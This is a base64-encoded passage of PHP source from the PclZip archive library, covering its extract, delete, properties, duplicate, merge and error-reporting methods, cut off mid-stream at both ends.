yTG9nKFBDTFpJUF9FUlJfSU5WQUxJRF9QQVJBTUVURVIsICJJbnZhbGlkIG51bWJlciAvIHR5cGUgb2YgYXJndW1lbnRzIik7CgogICAgICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgICAgICByZXR1cm4gMDsKICAgICAgICB9CiAgICAgIH0KICAgIH0KCiAgICAvLyAtLS0tLSBUcmFjZQoKICAgIC8vIC0tLS0tIFRyaWNrCiAgICAvLyBIZXJlIEkgd2FudCB0byByZXVzZSBleHRyYWN0QnlSdWxlKCksIHNvIEkgbmVlZCB0byBwYXJzZSB0aGUgJHBfaW5kZXgKICAgIC8vIHdpdGggcHJpdlBhcnNlT3B0aW9ucygpCiAgICAkdl9hcmdfdHJpY2sgPSBhcnJheSAoUENMWklQX09QVF9CWV9JTkRFWCwgJHBfaW5kZXgpOwogICAgJHZfb3B0aW9uc190cmljayA9IGFycmF5KCk7CiAgICAkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdlBhcnNlT3B0aW9ucygkdl9hcmdfdHJpY2ssIHNpemVvZigkdl9hcmdfdHJpY2spLCAkdl9vcHRpb25zX3RyaWNrLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXJyYXkgKFBDTFpJUF9PUFRfQllfSU5ERVggPT4gJ29wdGlvbmFsJyApKTsKICAgIGlmICgkdl9yZXN1bHQgIT0gMSkgewogICAgICAgIHJldHVybiAwOwogICAgfQogICAgJHZfb3B0aW9uc1tQQ0xaSVBfT1BUX0JZX0lOREVYXSA9ICR2X29wdGlvbnNfdHJpY2tbUENMWklQX09QVF9CWV9JTkRFWF07CgogICAgLy8gLS0tLS0gTG9vayBmb3IgZGVmYXVsdCBvcHRpb24gdmFsdWVzCiAgICAkdGhpcy0+cHJpdk9wdGlvbkRlZmF1bHRUaHJlc2hvbGQoJHZfb3B0aW9ucyk7CgogICAgLy8gLS0tLS0gQ2FsbCB0aGUgZXh0cmFjdGluZyBmY3QKICAgIGlmICgoJHZfcmVzdWx0ID0gJHRoaXMtPnByaXZFeHRyYWN0QnlSdWxlKCRwX2xpc3QsICR2X3BhdGgsICR2X3JlbW92ZV9wYXRoLCAkdl9yZW1vdmVfYWxsX3BhdGgsICR2X29wdGlvbnMpKSA8IDEpIHsKICAgICAgICByZXR1cm4oMCk7CiAgICB9CgogICAgLy8gLS0tLS0gUmV0dXJuCiAgICByZXR1cm4gJHBfbGlzdDsKICB9CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAvLyBGdW5jdGlvbiA6CiAgLy8gICBkZWxldGUoWyRwX29wdGlvbiwgJHBfb3B0aW9uX3ZhbHVlLCAuLi5dKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyAgIFRoaXMgbWV0aG9kIHJlbW92ZXMgZmlsZXMgZnJvbSB0aGUgYXJjaGl2ZS4KICAvLyAgIElmIG5vIHBhcmFtZXRlcnMgYXJlIGdpdmVuLCB0aGVuIGFsbCB0aGUgYXJjaGl2ZSBpcyBlbXB0aWVkLgogIC8vIFBhcmFtZXRlcnMgOgogIC8vICAgTm9uZSBvciBvcHRpb25hbCBhcmd1bWVudHMuCiAgLy8gT3B0aW9ucyA6CiAgLy8gICBQQ0xaSVBfT1BUX0JZX0lOREVYIDoKICAvLyAgIFBDTFpJUF9PUFRfQllfTkFNRSA6CiAgLy8gICBQQ0xaSVBfT1BUX0JZX0VSRUcgOgogIC8vICAgUENMWklQX09QVF9CWV9QUkVHIDoKICAvLyBSZXR1cm4gVmFsdWVzIDoKICAvLyAgIDAgb24gZmFpbHVyZSwKICAvLyAgIFRoZSBsaXN0IG9mIHRoZSBmaWxlcyB3aGljaCBhcmUgc3RpbGwgcHJlc2VudCBpbiB0aGUgYXJjaGl2ZS4KICAvLyAgIChzZWUgUGNsWmlwOjpsaXN0Q29udGVudCgpIGZvciBsaXN0IGVudHJ5IGZvcm1hdCkKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIGZ1bmN0aW9uIGRlbGV0ZSgpCiAgewogICAgJHZfcmVzdWx0PTE7CgogICAgLy8gLS0tLS0gUmVzZXQgdGhlIGVycm9yIGhhbmRsZXIKICAgICR0aGlzLT5wcml2RXJyb3JSZXNldCgpOwoKICAgIC8vIC0tLS0tIENoZWNrIGFyY2hpdmUKICAgIGlmICghJHRoaXMtPnByaXZDaGVja0Zvcm1hdCgpKSB7CiAgICAgIHJldHVybigwKTsKICAgIH0KCiAgICAvLyAtLS0tLSBTZXQgZGVmYXVsdCB2YWx1ZXMKICAgICR2X29wdGlvbnMgPSBhcnJheSgpOwoKICAgIC8vIC0tLS0tIExvb2sgZm9yIHZhcmlhYmxlIG9wdGlvbnMgYXJndW1lbnRzCiAgICAkdl9zaXplID0gZnVuY19udW1fYXJncygpOwoKICAgIC8vIC0tLS0tIExvb2sgZm9yIGFyZ3VtZW50cwogICAgaWYgKCR2X3NpemUgPiAwKSB7CiAgICAgIC8vIC0tLS0tIEdldCB0aGUgYXJndW1lbnRzCiAgICAgICR2X2FyZ19saXN0ID0gZnVuY19nZXRfYXJncygpOwoKICAgICAgLy8gLS0tLS0gUGFyc2UgdGhlIG9wdGlvbnMKICAgICAgJHZfcmVzdWx0ID0gJHRoaXMtPnByaXZQYXJzZU9wdGlvbnMoJHZfYXJnX2xpc3QsICR2X3NpemUsICR2X29wdGlvbnMsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcnJheSAoUENMWklQX09QVF9CWV9OQU1FID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX09QVF9CWV9FUkVHID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX09QVF9CWV9QUkVHID0+ICdvcHRpb25hbCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUENMWklQX09QVF9CWV9JTkRFWCA9PiAnb3B0aW9uYWwnICkpOwogICAgICBpZiAoJHZfcmVzdWx0ICE9IDEpIHsKICAgICAgICAgIHJldHVybiAwOwogICAgICB9CiAgICB9CgogICAgLy8gLS0tLS0gTWFnaWMgcXVvdGVzIHRyaWNrCiAgICAkdGhpcy0+cHJpdkRpc2FibGVNYWdpY1F1b3RlcygpOwoKICAgIC8vIC0tLS0tIENhbGwgdGhlIGRlbGV0ZSBmY3QKICAgICR2X2xpc3QgPSBhcnJheSgpOwogICAgaWYgKCgkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdkRlbGV0ZUJ5UnVsZSgkdl9saXN0LCAkdl9vcHRpb25zKSkgIT0gMSkgewogICAgICAkdGhpcy0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKICAgICAgdW5zZXQoJHZfbGlzdCk7CiAgICAgIHJldHVybigwKTsKICAgIH0KCiAgICAvLyAtLS0tLSBNYWdpYyBxdW90ZXMgdHJpY2sKICAgICR0aGlzLT5wcml2U3dhcEJhY2tNYWdpY1F1b3RlcygpOwoKICAgIC8vIC0tLS0tIFJldHVybgogICAgcmV0dXJuICR2X2xpc3Q7CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBkZWxldGVCeUluZGV4KCkKICAvLyBEZXNjcmlwdGlvbiA6CiAgLy8gICAqKioqKiBEZXByZWNhdGVkICoqKioqCiAgLy8gICBkZWxldGUoUENMWklQX09QVF9CWV9JTkRFWCwgJHBfaW5kZXgpIHNob3VsZCBiZSBwcmVmZXJlZC4KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIGZ1bmN0aW9uIGRlbGV0ZUJ5SW5kZXgoJHBfaW5kZXgpCiAgewoKICAgICRwX2xpc3QgPSAkdGhpcy0+ZGVsZXRlKFBDTFpJUF9PUFRfQllfSU5ERVgsICRwX2luZGV4KTsKCiAgICAvLyAtLS0tLSBSZXR1cm4KICAgIHJldHVybiAkcF9saXN0OwogIH0KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIC8vIEZ1bmN0aW9uIDogcHJvcGVydGllcygpCiAgLy8gRGVzY3JpcHRpb24gOgogIC8vICAgVGhpcyBtZXRob2QgZ2l2ZXMgdGhlIHByb3BlcnRpZXMgb2YgdGhlIGFyY2hpdmUuCiAgLy8gICBUaGUgcHJvcGVydGllcyBhcmUgOgogIC8vICAgICBuYiA6IE51bWJlciBvZiBmaWxlcyBpbiB0aGUgYXJjaGl2ZQogIC8vICAgICBjb21tZW50IDogQ29tbWVudCBhc3NvY2lhdGVkIHdpdGggdGhlIGFyY2hpdmUgZmlsZQogIC8vICAgICBzdGF0dXMgOiBub3RfZXhpc3QsIG9rCiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gICBOb25lCiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gICAwIG9uIGZhaWx1cmUsCiAgLy8gICBBbiBhcnJheSB3aXRoIHRoZSBhcmNoaXZlIHByb3BlcnRpZXMuCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBwcm9wZXJ0aWVzKCkKICB7CgogICAgLy8gLS0tLS0gUmVzZXQgdGhlIGVycm9yIGhhbmRsZXIKICAgICR0aGlzLT5wcml2RXJyb3JSZXNldCgpOwoKICAgIC8vIC0tLS0tIE1hZ2ljIHF1b3RlcyB0cmljawogICAgJHRoaXMtPnByaXZEaXNhYmxlTWFnaWNRdW90ZXMoKTsKCiAgICAvLyAtLS0tLSBDaGVjayBhcmNoaXZlCiAgICBpZiAoISR0aGlzLT5wcml2Q2hlY2tGb3JtYXQoKSkgewogICAgICAkdGhpcy0+cHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKTsKICAgICAgcmV0dXJuKDApOwogICAgfQoKICAgIC8vIC0tLS0tIERlZmF1bHQgcHJvcGVydGllcwogICAgJHZfcHJvcCA9IGFycmF5KCk7CiAgICAkdl9wcm9wWydjb21tZW50J10gPSAnJzsKICAgICR2X3Byb3BbJ25iJ10gPSAwOwogICAgJHZfcHJvcFsnc3RhdHVzJ10gPSAnbm90X2V4aXN0JzsKCiAgICAvLyAtLS0tLSBMb29rIGlmIGZpbGUgZXhpc3RzCiAgICBpZiAoQGlzX2ZpbGUoJHRoaXMtPnppcG5hbWUpKQogICAgewogICAgICAvLyAtLS0tLSBPcGVuIHRoZSB6aXAgZmlsZQogICAgICBpZiAoKCR0aGlzLT56aXBfZmQgPSBAZm9wZW4oJHRoaXMtPnppcG5hbWUsICdyYicpKSA9PSAwKQogICAgICB7CiAgICAgICAgJHRoaXMtPnByaXZTd2FwQmFja01hZ2ljUXVvdGVzKCk7CgogICAgICAgIC8vIC0tLS0tIEVycm9yIGxvZwogICAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfUkVBRF9PUEVOX0ZBSUwsICdVbmFibGUgdG8gb3BlbiBhcmNoaXZlIFwnJy4kdGhpcy0+emlwbmFtZS4nXCcgaW4gYmluYXJ5IHJlYWQgbW9kZScpOwoKICAgICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgICByZXR1cm4gMDsKICAgICAgfQoKICAgICAgLy8gLS0tLS0gUmVhZCB0aGUgY2VudHJhbCBkaXJlY3RvcnkgaW5mb3JtYXRpb25zCiAgICAgICR2X2NlbnRyYWxfZGlyID0gYXJyYXkoKTsKICAgICAgaWYgKCgkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdlJlYWRFbmRDZW50cmFsRGlyKCR2X2NlbnRyYWxfZGlyKSkgIT0gMSkKICAgICAgewogICAgICAgICR0aGlzLT5wcml2U3dhcEJhY2tNYWdpY1F1b3RlcygpOwogICAgICAgIHJldHVybiAwOwogICAgICB9CgogICAgICAvLyAtLS0tLSBDbG9zZSB0aGUgemlwIGZpbGUKICAgICAgJHRoaXMtPnByaXZDbG9zZUZkKCk7CgogICAgICAvLyAtLS0tLSBTZXQgdGhlIHVzZXIgYXR0cmlidXRlcwogICAgICAkdl9wcm9wWydjb21tZW50J10gPSAkdl9jZW50cmFsX2RpclsnY29tbWVudCddOwogICAgICAkdl9wcm9wWyduYiddID0gJHZfY2VudHJhbF9kaXJbJ2VudHJpZXMnXTsKICAgICAgJHZfcHJvcFsnc3RhdHVzJ10gPSAnb2snOwogICAgfQoKICAgIC8vIC0tLS0tIE1hZ2ljIHF1b3RlcyB0cmljawogICAgJHRoaXMtPnByaXZTd2FwQmFja01hZ2ljUXVvdGVzKCk7CgogICAgLy8gLS0tLS0gUmV0dXJuCiAgICByZXR1cm4gJHZfcHJvcDsKICB9CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAvLyBGdW5jdGlvbiA6IGR1cGxpY2F0ZSgpCiAgLy8gRGVzY3JpcHRpb24gOgogIC8vICAgVGhpcyBtZXRob2QgY3JlYXRlcyBhbiBhcmNoaXZlIGJ5IGNvcHlpbmcgdGhlIGNvbnRlbnQgb2YgYW4gb3RoZXIgb25lLiBJZgogIC8vICAgdGhlIGFyY2hpdmUgYWxyZWFkeSBleGlzdCwgaXQgaXMgcmVwbGFjZWQgYnkgdGhlIG5ldyBvbmUgd2l0aG91dCBhbnkgd2FybmluZy4KICAvLyBQYXJhbWV0ZXJzIDoKICAvLyAgICRwX2FyY2hpdmUgOiBUaGUgZmlsZW5hbWUgb2YgYSB2YWxpZCBhcmNoaXZlLCBvcgogIC8vICAgICAgICAgICAgICAgIGEgdmFsaWQgUGNsWmlwIG9iamVjdC4KICAvLyBSZXR1cm4gVmFsdWVzIDoKICAvLyAgIDEgb24gc3VjY2Vzcy4KICAvLyAgIDAgb3IgYSBuZWdhdGl2ZSB2YWx1ZSBvbiBlcnJvciAoZXJyb3IgY29kZSkuCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBkdXBsaWNhdGUoJHBfYXJjaGl2ZSkKICB7CiAgICAkdl9yZXN1bHQgPSAxOwoKICAgIC8vIC0tLS0tIFJlc2V0IHRoZSBlcnJvciBoYW5kbGVyCiAgICAkdGhpcy0+cHJpdkVycm9yUmVzZXQoKTsKCiAgICAvLyAtLS0tLSBMb29rIGlmIHRoZSAkcF9hcmNoaXZlIGlzIGEgUGNsWmlwIG9iamVjdAogICAgaWYgKChpc19vYmplY3QoJHBfYXJjaGl2ZSkpICYmIChnZXRfY2xhc3MoJHBfYXJjaGl2ZSkgPT0gJ3BjbHppcCcpKQogICAgewoKICAgICAgLy8gLS0tLS0gRHVwbGljYXRlIHRoZSBhcmNoaXZlCiAgICAgICR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2RHVwbGljYXRlKCRwX2FyY2hpdmUtPnppcG5hbWUpOwogICAgfQoKICAgIC8vIC0tLS0tIExvb2sgaWYgdGhlICRwX2FyY2hpdmUgaXMgYSBzdHJpbmcgKHNvIGEgZmlsZW5hbWUpCiAgICBlbHNlIGlmIChpc19zdHJpbmcoJHBfYXJjaGl2ZSkpCiAgICB7CgogICAgICAvLyAtLS0tLSBDaGVjayB0aGF0ICRwX2FyY2hpdmUgaXMgYSB2YWxpZCB6aXAgZmlsZQogICAgICAvLyBUQkMgOiBTaG91bGQgYWxzbyBjaGVjayB0aGUgYXJjaGl2ZSBmb3JtYXQKICAgICAgaWYgKCFpc19maWxlKCRwX2FyY2hpdmUpKSB7CiAgICAgICAgLy8gLS0tLS0gRXJyb3IgbG9nCiAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9NSVNTSU5HX0ZJTEUsICJObyBmaWxlIHdpdGggZmlsZW5hbWUgJyIuJHBfYXJjaGl2ZS4iJyIpOwogICAgICAgICR2X3Jlc3VsdCA9IFBDTFpJUF9FUlJfTUlTU0lOR19GSUxFOwogICAgICB9CiAgICAgIGVsc2UgewogICAgICAgIC8vIC0tLS0tIER1cGxpY2F0ZSB0aGUgYXJjaGl2ZQogICAgICAgICR2X3Jlc3VsdCA9ICR0aGlzLT5wcml2RHVwbGljYXRlKCRwX2FyY2hpdmUpOwogICAgICB9CiAgICB9CgogICAgLy8gLS0tLS0gSW52YWxpZCB2YXJpYWJsZQogICAgZWxzZQogICAgewogICAgICAvLyAtLS0tLSBFcnJvciBsb2cKICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9JTlZBTElEX1BBUkFNRVRFUiwgIkludmFsaWQgdmFyaWFibGUgdHlwZSBwX2FyY2hpdmVfdG9fYWRkIik7CiAgICAgICR2X3Jlc3VsdCA9IFBDTFpJUF9FUlJfSU5WQUxJRF9QQVJBTUVURVI7CiAgICB9CgogICAgLy8gLS0tLS0gUmV0dXJuCiAgICByZXR1cm4gJHZfcmVzdWx0OwogIH0KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIC8vIEZ1bmN0aW9uIDogbWVyZ2UoKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyAgIFRoaXMgbWV0aG9kIG1lcmdlIHRoZSAkcF9hcmNoaXZlX3RvX2FkZCBhcmNoaXZlIGF0IHRoZSBlbmQgb2YgdGhlIGN1cnJlbnQKICAvLyAgIG9uZSAoJHRoaXMpLgogIC8vICAgSWYgdGhlIGFyY2hpdmUgKCR0aGlzKSBkb2VzIG5vdCBleGlzdCwgdGhlIG1lcmdlIGJlY29tZXMgYSBkdXBsaWNhdGUuCiAgLy8gICBJZiB0aGUgJHBfYXJjaGl2ZV90b19hZGQgYXJjaGl2ZSBkb2VzIG5vdCBleGlzdCwgdGhlIG1lcmdlIGlzIGEgc3VjY2Vzcy4KICAvLyBQYXJhbWV0ZXJzIDoKICAvLyAgICRwX2FyY2hpdmVfdG9fYWRkIDogSXQgY2FuIGJlIGRpcmVjdGx5IHRoZSBmaWxlbmFtZSBvZiBhIHZhbGlkIHppcCBhcmNoaXZlLAogIC8vICAgICAgICAgICAgICAgICAgICAgICBvciBhIFBjbFppcCBvYmplY3QgYXJjaGl2ZS4KICAvLyBSZXR1cm4gVmFsdWVzIDoKICAvLyAgIDEgb24gc3VjY2VzcywKICAvLyAgIDAgb3IgbmVnYXRpdmUgdmFsdWVzIG9uIGVycm9yIChzZWUgYmVsb3cpLgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgZnVuY3Rpb24gbWVyZ2UoJHBfYXJjaGl2ZV90b19hZGQpCiAgewogICAgJHZfcmVzdWx0ID0gMTsKCiAgICAvLyAtLS0tLSBSZXNldCB0aGUgZXJyb3IgaGFuZGxlcgogICAgJHRoaXMtPnByaXZFcnJvclJlc2V0KCk7CgogICAgLy8gLS0tLS0gQ2hlY2sgYXJjaGl2ZQogICAgaWYgKCEkdGhpcy0+cHJpdkNoZWNrRm9ybWF0KCkpIHsKICAgICAgcmV0dXJuKDApOwogICAgfQoKICAgIC8vIC0tLS0tIExvb2sgaWYgdGhlICRwX2FyY2hpdmVfdG9fYWRkIGlzIGEgUGNsWmlwIG9iamVjdAogICAgaWYgKChpc19vYmplY3QoJHBfYXJjaGl2ZV90b19hZGQpKSAmJiAoZ2V0X2NsYXNzKCRwX2FyY2hpdmVfdG9fYWRkKSA9PSAncGNsemlwJykpCiAgICB7CgogICAgICAvLyAtLS0tLSBNZXJnZSB0aGUgYXJjaGl2ZQogICAgICAkdl9yZXN1bHQgPSAkdGhpcy0+cHJpdk1lcmdlKCRwX2FyY2hpdmVfdG9fYWRkKTsKICAgIH0KCiAgICAvLyAtLS0tLSBMb29rIGlmIHRoZSAkcF9hcmNoaXZlX3RvX2FkZCBpcyBhIHN0cmluZyAoc28gYSBmaWxlbmFtZSkKICAgIGVsc2UgaWYgKGlzX3N0cmluZygkcF9hcmNoaXZlX3RvX2FkZCkpCiAgICB7CgogICAgICAvLyAtLS0tLSBDcmVhdGUgYSB0ZW1wb3JhcnkgYXJjaGl2ZQogICAgICAkdl9vYmplY3RfYXJjaGl2ZSA9IG5ldyBQY2xaaXAoJHBfYXJjaGl2ZV90b19hZGQpOwoKICAgICAgLy8gLS0tLS0gTWVyZ2UgdGhlIGFyY2hpdmUKICAgICAgJHZfcmVzdWx0ID0gJHRoaXMtPnByaXZNZXJnZSgkdl9vYmplY3RfYXJjaGl2ZSk7CiAgICB9CgogICAgLy8gLS0tLS0gSW52YWxpZCB2YXJpYWJsZQogICAgZWxzZQogICAgewogICAgICAvLyAtLS0tLSBFcnJvciBsb2cKICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9JTlZBTElEX1BBUkFNRVRFUiwgIkludmFsaWQgdmFyaWFibGUgdHlwZSBwX2FyY2hpdmVfdG9fYWRkIik7CiAgICAgICR2X3Jlc3VsdCA9IFBDTFpJUF9FUlJfSU5WQUxJRF9QQVJBTUVURVI7CiAgICB9CgogICAgLy8gLS0tLS0gUmV0dXJuCiAgICByZXR1cm4gJHZfcmVzdWx0OwogIH0KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBlcnJvckNvZGUoKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyBQYXJhbWV0ZXJzIDoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIGZ1bmN0aW9uIGVycm9yQ29kZSgpCiAgewogICAgaWYgKFBDTFpJUF9FUlJPUl9FWFRFUk5BTCA9PSAxKSB7CiAgICAgIHJldHVybihQY2xFcnJvckNvZGUoKSk7CiAgICB9CiAgICBlbHNlIHsKICAgICAgcmV0dXJuKCR0aGlzLT5lcnJvcl9jb2RlKTsKICAgIH0KICB9CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAvLyBGdW5jdGlvbiA6IGVycm9yTmFtZSgpCiAgLy8gRGVzY3JpcHRpb24gOgogIC8vIFBhcmFtZXRlcnMgOgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgZnVuY3Rpb24gZXJyb3JOYW1lKCRwX3dpdGhfY29kZT1mYWxzZSkKICB7CiAgICAkdl9uYW1lID0gYXJyYXkgKCBQQ0xaSVBfRVJSX05PX0VSUk9SID0+ICdQQ0xaSVBfRVJSX05PX0VSUk9SJywKICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9FUlJfV1JJVEVfT1BFTl9GQUlMID0+ICdQQ0xaSVBfRVJSX1dSSVRFX09QRU5fRkFJTCcsCiAgICAgICAgICAgICAgICAgICAgICBQQ0xaSVBfRVJSX1JFQURfT1BFTl9GQUlMID0+ICdQQ0xaSVBfRVJSX1JFQURfT1BFTl9GQUlMJywKICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9FUlJfSU5WQUxJRF9QQVJBTUVURVIgPT4gJ1BDTFpJUF9FUlJfSU5WQUxJRF9QQVJBTUVURVInLAogICAgICAgICAgICAgICAgICAgICAgUENMWklQX0VSUl9NSVNTSU5HX0ZJTEUgPT4gJ1BDTFpJUF9FUlJfTUlTU0lOR19GSUxFJywKICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9FUlJfRklMRU5BTUVfVE9PX0xPTkcgPT4gJ1BDTFpJUF9FUlJfRklMRU5BTUVfVE9PX0xPTkcnLAogICAgICAgICAgICAgICAgICAgICAgUENMWklQX0VSUl9JTlZBTElEX1pJUCA9PiAnUENMWklQX0VSUl9JTlZBTElEX1pJUCcsCiAgICAgICAgICAgICAgICAgICAgICBQQ0xaSVBfRVJSX0JBRF9FWFRSQUNURURfRklMRSA9PiAnUENMWklQX0VSUl9CQURfRVhUUkFDVEVEX0ZJTEUnLAogICAgICAgICAgICAgICAgICAgICAgUENMWklQX0VSUl9ESVJfQ1JFQVRFX0ZBSUwgPT4gJ1BDTFpJUF9FUlJfRElSX0NSRUFURV9GQUlMJywKICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9FUlJfQkFEX0VYVEVOU0lPTiA9PiAnUENMWklQX0VSUl9CQURfRVhURU5TSU9OJywKICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9FUlJfQkFEX0ZPUk1BVCA9PiAnUENMWklQX0VSUl9CQURfRk9STUFUJywKICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9FUlJfREVMRVRFX0ZJTEVfRkFJTCA9PiAnUENMWklQX0VSUl9ERUxFVEVfRklMRV9GQUlMJywKICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9FUlJfUkVOQU1FX0ZJTEVfRkFJTCA9PiAnUENMWklQX0VSUl9SRU5BTUVfRklMRV9GQUlMJywKICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9FUlJfQkFEX0NIRUNLU1VNID0+ICdQQ0xaSVBfRVJSX0JBRF9DSEVDS1NVTScsCiAgICAgICAgICAgICAgICAgICAgICBQQ0xaSVBfRVJSX0lOVkFMSURfQVJDSElWRV9aSVAgPT4gJ1BDTFpJUF9FUlJfSU5WQUxJRF9BUkNISVZFX1pJUCcsCiAgICAgICAgICAgICAgICAgICAgICBQQ0xaSVBfRVJSX01JU1NJTkdfT1BUSU9OX1ZBTFVFID0+ICdQQ0xaSVBfRVJSX01JU1NJTkdfT1BUSU9OX1ZBTFVFJywKICAgICAgICAgICAgICAgICAgICAgIFBDTFpJUF9FUlJfSU5WQUxJRF9PUFRJT05fVkFMVUUgPT4gJ1BDTFpJUF9FUlJfSU5WQUxJRF9PUFRJT05fVkFMVUUnLAogICAgICAgICAgICAgICAgICAgICAgUENMWklQX0VSUl9VTlNVUFBPUlRFRF9DT01QUkVTU0lPTiA9PiAnUENMWklQX0VSUl9VTlNVUFBPUlRFRF9DT01QUkVTU0lPTicsCiAgICAgICAgICAgICAgICAgICAgICBQQ0xaSVBfRVJSX1VOU1VQUE9SVEVEX0VOQ1JZUFRJT04gPT4gJ1BDTFpJUF9FUlJfVU5TVVBQT1JURURfR